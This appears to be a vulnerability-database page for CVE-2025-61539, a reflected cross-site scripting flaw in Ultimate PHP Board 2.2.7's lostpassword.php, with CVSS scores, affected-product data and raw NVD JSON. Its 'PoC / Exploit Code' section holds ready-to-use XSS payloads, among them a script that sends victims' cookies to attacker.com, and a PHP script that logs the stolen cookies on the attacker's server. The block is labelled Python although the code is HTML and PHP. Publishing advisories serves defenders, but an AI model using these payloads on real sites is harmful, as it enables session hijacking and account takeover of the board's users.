Security Vulnerability Report
中文
CVE-2025-61539 CVSS 6.1 MEDIUM

CVE-2025-61539

Published: 2025-10-16 15:15:34
Last Modified: 2025-10-21 12:12:06

Description

Cross site scripting (XSS) vulnerability in Ultimate PHP Board 2.2.7 via the u_name parameter in lostpassword.php.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:myupb:ultimate_php_board:2.2.7:*:*:*:*:*:*:* - VULNERABLE
Ultimate PHP Board 2.2.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-61539 PoC - Reflected XSS via u_name parameter in lostpassword.php --> <!-- Attack URL format: --> <!-- http://target.com/lostpassword.php?u_name=<PAYLOAD> --> <!-- PoC 1: Basic cookie stealing --> http://target.com/lostpassword.php?u_name=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> <!-- PoC 2: Simple alert for verification --> http://target.com/lostpassword.php?u_name=<script>alert('XSS-Vulnerability-CVE-2025-61539')</script> <!-- PoC 3: Using img onerror event handler --> http://target.com/lostpassword.php?u_name=<img src=x onerror=alert(document.domain)> <!-- PoC 4: Using svg onload event --> http://target.com/lostpassword.php?u_name=<svg/onload=alert(1)> <!-- PoC 5: Cookie exfiltration script (attacker server side) --> <?php // steal.php - hosted on attacker server $cookie = $_GET['cookie']; $log = fopen("stolen_cookies.txt", "a"); fwrite($log, $cookie . "\n"); fclose($log); header('Location: http://target.com/lostpassword.php'); exit; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61539", "sourceIdentifier": "[email protected]", "published": "2025-10-16T15:15:34.457", "lastModified": "2025-10-21T12:12:05.600", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross site scripting (XSS) vulnerability in Ultimate PHP Board 2.2.7 via the u_name parameter in lostpassword.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:myupb:ultimate_php_board:2.2.7:*:*:*:*:*:*:*", "matchCriteriaId": "C075409F-21FB-40B9-A36A-632E8F66ABD5"}]}]}], "references": [{"url": "https://github.com/PHP-Outburst/myUPB?tab=readme-ov-file", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/bugdotexe/Vulnerability-Research/tree/main/CVE-2025-61539", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}